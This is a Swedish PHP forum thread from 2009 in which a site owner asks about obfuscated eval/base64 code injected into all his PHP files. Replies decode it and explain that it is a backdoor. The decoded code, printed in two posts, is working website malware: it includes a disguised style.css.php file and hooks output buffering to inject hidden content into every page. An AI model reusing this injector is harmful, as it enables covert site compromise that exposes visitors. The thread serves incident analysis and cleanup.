--- title: "Kan någon tala om vad detta är eval(base64_decode(osv.osv.." type: "forum-thread" url: "https://www.webforum.nu/amne/php/179545-kan-någon-tala-om-vad-detta-är-eval-base64-decode-osv-osv" topic: "PHP" topic_url: "https://www.webforum.nu/amne/php" author: "Alfos" published: "2009-07-27T16:53:16.000Z" updated: "2009-07-27T19:27:29.000Z" replies: 12 views: 1096 page: 1 pages: 1 language: "sv-SE" site: "webForum — webforum.nu" rights: "Upphovsrätten till varje inlägg tillhör dess författare." attribution: "Citera som: webForum, https://www.webforum.nu/amne/php/179545-kan-någon-tala-om-vad-detta-är-eval-base64-decode-osv-osv" --- # Kan någon tala om vad detta är eval(base64_decode(osv.osv.. ## #1 — Alfos, 2009-07-27T16:53Z Har fått en kod i början på alla mina php-filer som jag inte kan tyda. Kan någon hjälpa mig och tala om hur jag decodar strängen eller helst av allt vad den gör eller inte gör. Sträng. \ Tacksam för all hjälp Permalänk: https://www.webforum.nu/p/179545 ## #2 — tydal, 2009-07-27T17:41Z ```php ]*\>)/si', '$1'.gml(), $R3E33E017CD76B9B7E6C7364FB91E2E90); } else { return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90; } } ob_start('dgobh'); } } }?> ``` Permalänk: https://www.webforum.nu/p/2194126 ## #3 — Draqir, 2009-07-27T17:47Z Lite bättre översatt.. ```php if(function_exists('ob_start') && !isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no'] = 1; if (file_exists('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php')) { include_once('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php'); if(function_exists('gml') && !function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($var1){ $var2 = ord(substr($var1, 3, 1)); $var3 = 10; $var4 = 0; if($var2&4){ $var4 = unpack('v',substr($var1, 10, 2)); $var4 = $var4[1]; $var3 += 2 + $var4; } if($var2&8) $var3 = strpos($var1, chr(0), $var3) + 1; if($var2&16) $var3 = strpos($var1, chr(0), $var3) + 1; if($var2&2) $var3 += 2; $var5 = gzinflate(substr($var1, $var3)); if($var5 === FALSE) $var5 = $var1; return $var5; } } function dgobh($var6){ Header('Content-Encoding: none'); $var7 = gzdecode($var6); if(preg_match('/]*>)/si', '$1' . gml(), $var7); else return gml() . $var7; } ob_start('dgobh'); } } } ``` Jag skulle gärna vilja se filen copper.php Detta ser ut som något virus liknande Permalänk: https://www.webforum.nu/p/2194129 ## #4 — Draqir, 2009-07-27T17:56Z Kollade upp det lite närmare, copper.php är en fil på cirka 200kb, som någon har lyckats ladda upp till din server genom någon bakdörr, jag skulle rekommendera att du återgår till någon tidigare backup, annars har du mycket jobb framför dig om det är på en större sajt. Permalänk: https://www.webforum.nu/p/2194130 ## #5 — Alfos, 2009-07-27T18:38Z Hej och tack så mycket för hjälpen. Jag kan inte hitta filen copper.php. Ligger denna i webservern eller i databasen. Såvitt jag förstått så har någon gått in via ett hål i databasen och infekterat alla php-filer. Jag har kört backup på db-filerna och tagit bort dom tillfälligt. Permalänk: https://www.webforum.nu/p/2194138 ## #6 — Draqir, 2009-07-27T18:46Z Den borde ligga här: www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php Ps. Kolla privata meddelanden. Dvs. Permalänk: https://www.webforum.nu/p/2194139 ## #7 — Draqir, 2009-07-27T18:51Z > **[Alfos skrev:](https://www.webforum.nu/p/1475056)** > > Hej och tack så mycket för hjälpen. > > Jag kan inte hitta filen copper.php. Ligger denna i webservern eller i databasen. Såvitt jag förstått så har någon gått in via ett hål i databasen och infekterat alla php-filer. Jag har kört backup på db-filerna och tagit bort dom tillfälligt. Jag tror för övrigt att hålet inte är i databasen, utan att du har tillåtit uppladdning av filer, även om du kanske bara tillåter filer med .jpeg t.ex. så kan en smart (elak) cracker exekera dem i vissa fall. Permalänk: https://www.webforum.nu/p/2194140 ## #8 — Alfos, 2009-07-27T18:56Z Kan inte hitta den filen på vare sig servern, localhost eller i gamla backups Permalänk: https://www.webforum.nu/p/2194141 ## #9 — Alfos, 2009-07-27T18:57Z Kan man spåra den som gjort det på något sätt? Permalänk: https://www.webforum.nu/p/2194142 ## #10 — Draqir, 2009-07-27T19:01Z > **[Alfos skrev:](https://www.webforum.nu/p/1475059)** > > Kan inte hitta den filen på vare sig servern, localhost eller i gamla backups Hm. Med den skulle det göra saken mycket enklare. > Kan man spåra den som gjort det på något sätt? Apache weblogs t.ex. med en del sökande. Permalänk: https://www.webforum.nu/p/2194144 ## #11 — Alfos, 2009-07-27T19:10Z Vad mer exakt gör den här strängen med sajten? Permalänk: https://www.webforum.nu/p/2194146 ## #12 — Draqir, 2009-07-27T19:17Z Kort sagt, den inkluderar en fil med förmodligen massor av krypterade funktioner, den skapar en funktion för att ta bort krypteringen för gz med olika val beroende på vilken typ av sträng det är, t.ex. en c-sträng. \[Som för övrigt är väldigt snyggt gjord\] Sen skapar den en okänd body-del av ett html dokument med innehåll som vi inte ser. Permalänk: https://www.webforum.nu/p/2194149 ## #13 — Alfos, 2009-07-27T19:27Z OK och tack så mycket för hjälpen. Jag har blivit lite klokare och skall nu rensa bort all php för att göra en ominstallation och tajta till properties och köra en ny backup innan jag släpper loss dessa delar av sidan igen. Permalänk: https://www.webforum.nu/p/2194150 --- Tråden på webben: https://www.webforum.nu/amne/php/179545-kan-någon-tala-om-vad-detta-är-eval-base64-decode-osv-osv